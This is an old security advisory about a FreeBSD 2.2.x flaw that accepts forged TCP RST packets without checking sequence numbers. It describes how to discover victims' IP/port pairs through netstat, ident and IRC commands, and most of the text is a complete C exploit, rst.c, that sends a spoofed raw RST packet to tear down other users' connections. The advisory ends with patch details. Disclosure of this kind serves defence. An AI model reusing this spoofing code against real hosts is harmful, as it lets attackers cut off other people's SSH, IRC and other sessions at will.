COMMAND
RST validation
SYSTEMS AFFECTED
FreeBSD 2.2.x (before 2.2.8R), FreeBSD-stable and FreeBSD-current
before the correction date.
PROBLEM
TCP/IP connections are controlled through a series of packets that
are receieved by the two computers involved in the connection.
Old, stale connections are reset with a packet called a RST
packet. The RST packets have a sequence number in them that must
be valid according to certain rules in the standards. A denail
of service attack can be launched against FreeBSD systems running
without one of the patches supplied later in this message. Using
a flaw in the interpreation of sequence numbers in the RST packet,
malicious users can terminate connections of other users at will.
This was found by Tristan Horn. RFC 793, pages 36-39 (chap. 3.5)
describes closing connections with TCP. Page 37 is of particular
interest:
Reset Processing
In all states except SYN-SENT, all reset (RST) segments are
validated by checking their SEQ-fields. A reset is valid if
its sequence number is in the window. In the SYN-SENT state
(a RST received in response to an initial SYN), the RST is
acceptable if the ACK field acknowledges the SYN.
Unfortunately, FreeBSD does not appear to validate RST segments
to this extent. In other words, only the packets' IP/port pairs
are checked. In limited testing Solaris, OSF/1, Linux and
Windows 98 appear to conform to RFC 793 in this regard. This
problem gets worse when you bring it to multi-user FreeBSD boxes
where netstat, systat -net, lsof (if improperly configured) and
the like can be used to get all IP/port pairs in use. In cases
where you only have the port number for one side of the
connection, exploiting the vulnerability is still fairly trivial.
In many (most?) cases, port 0 bind()s will start you off at port
1024 and increment by one from there. Kudos to the OSes that
already use random or pseudorandom source ports... If the target
is an IRC server or uses TCP wrappers, chances are that you can
telnet to it and you'll get a connection back to your ident port.
This will give you the high port. IRC in particular will probably
be affected, due to the ease of getting addresses and such.
/stats L even used to give you the port numbers for users, servers
and listening sockets, but I believe this was fixed in /hybrid a
while back, and then +CS. /stats c should just be disabled for
non-opers since it lets people find the port # for autoconnects.
SSH and similar secure sessions are in great danger because ports
are manually bound to, starting at 1023 and decrementing from
there.
BSD exploit code is below. Note that 'dstaddr' is where the RST
packet is actually sent, so it must be the address of a buggy
machine.
/* rst.c -- based on:
land.c by m3lt, FLC
crashes a win95 box
Ported by blast and jerm to 44BSD*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
/* #include <netinet/ip_tcp.h> */
/* #include <netinet/protocols.h> */
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in src, dst;
struct hostent * hoste;
int sock,foo;
char buffer[40];
struct ip * ipheader=(struct ip *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
struct pseudohdr pseudoheader;
fprintf(stderr,"rst.c (based on BSD port of land by m3lt & blast of FLC)\n");
if(argc<5)
{
fprintf(stderr,"usage: %s srcaddr srcport dstaddr dstport\n",argv[0]);
return(-1);
}
bzero(&src,sizeof(struct sockaddr_in));
bzero(&dst,sizeof(struct sockaddr_in));
src.sin_family=AF_INET;
dst.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&src.sin_addr,hoste->h_length);
else if((src.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((src.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
if((hoste=gethostbyname(argv[3]))!=NULL)
bcopy(hoste->h_addr,&dst.sin_addr,hoste->h_length);
else if((dst.sin_addr.s_addr=inet_addr(argv[3]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[3]);
return(-1);
}
if((dst.sin_port=htons(atoi(argv[4])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[4]);
return(-1);
}
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
foo=1;
if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1)
{
fprintf(stderr,"couldn't set raw header on socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_v=4;
ipheader->ip_hl=sizeof(struct ip)/4;
ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
ipheader->ip_id=htons(0xF1C);
ipheader->ip_ttl=255;
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_src=src.sin_addr;
ipheader->ip_dst=dst.sin_addr;
tcpheader->th_sport=src.sin_port;
tcpheader->th_dport=dst.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_RST;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr=src.sin_addr;
pseudoheader.daddr=dst.sin_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &dst,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet,%d\n",errno);
return(-1);
}
fprintf(stderr,"%s:%s -> %s:%s reset\n",argv[1],argv[2],argv[3],argv[4]);
close(sock);
return(0);
}
SOLUTION
This was corrected in FreeBSD-current as of 1998/09/11 and
FreeBSD-stable as of 1998/09/16. Patches can be obtained via:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-98:07/